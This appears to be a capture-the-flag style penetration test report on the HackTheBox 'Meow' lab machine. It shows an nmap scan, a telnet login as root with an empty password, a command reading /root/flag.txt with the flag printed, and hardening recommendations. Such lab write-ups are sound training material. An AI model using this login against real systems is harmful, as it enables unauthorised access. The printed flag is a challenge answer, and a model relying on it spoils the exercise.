

HackTheBox: Meow Machine Penetration Test Report

Date: January 29, 2026

Tester: Lokeshwar

Machine: Starting Point – Meow

Executive Summary

This penetration test was conducted on the HackTheBox “Meow” machine. The assessment identified a critical security misconfiguration where the Telnet service permitted root login with an empty password, resulting in complete system compromise.

1. Reconnaissance

1.1 Nmap Scan Results

```
$ sudo nmap -A -T4 10.129.64.121

PORT      STATE SERVICE VERSION
23/tcp    open  telnet  Linux telnetd
OS details: Linux 4.15 - 5.19
```

1.2 Findings

Port	23/tcp
Service	Telnet
Version	Linux telnetd
Operating System	Linux (Ubuntu)
Issue Identified	Root login allowed with empty password

2. Exploitation

2.1 Telnet Login

```
$ telnet 10.129.64.121
Trying 10.129.64.121...
Connected to 10.129.64.121.

Meow login: root
Password:

root@Meow:~#
```

2.2 Privilege Escalation

No privilege escalation was required since root access was obtained directly due to insecure authentication configuration.

3. Post-Exploitation

3.1 Flag Capture

```
root@Meow:~# cat /root/flag.txt
D40abdfе23665766f9c61ecba8a4c19
```

3.2 System Overview

- Operating System: Ubuntu Linux
- Disk Usage: 41.7% of 7.75 GB
- Memory Usage: 4%
- Pending Updates: 75 (31 security-related)

4. Vulnerabilities Identified

Vulnerability	Description
Exposed Telnet Service	Unencrypted remote access service enabled
Weak Authentication	Root login allowed with empty password
Security Impact	Full system compromise
Risk Level	Critical

5. Recommendations

1. Disable Telnet service immediately
2. Enforce SSH with key-based authentication
3. Disable direct root login
4. Apply all pending security updates
5. Conduct periodic security audits

6. Conclusion

The Meow machine was fully compromised due to insecure Telnet configuration allowing root access without a password. This highlights the risks of legacy services and improper authentication controls in production environments.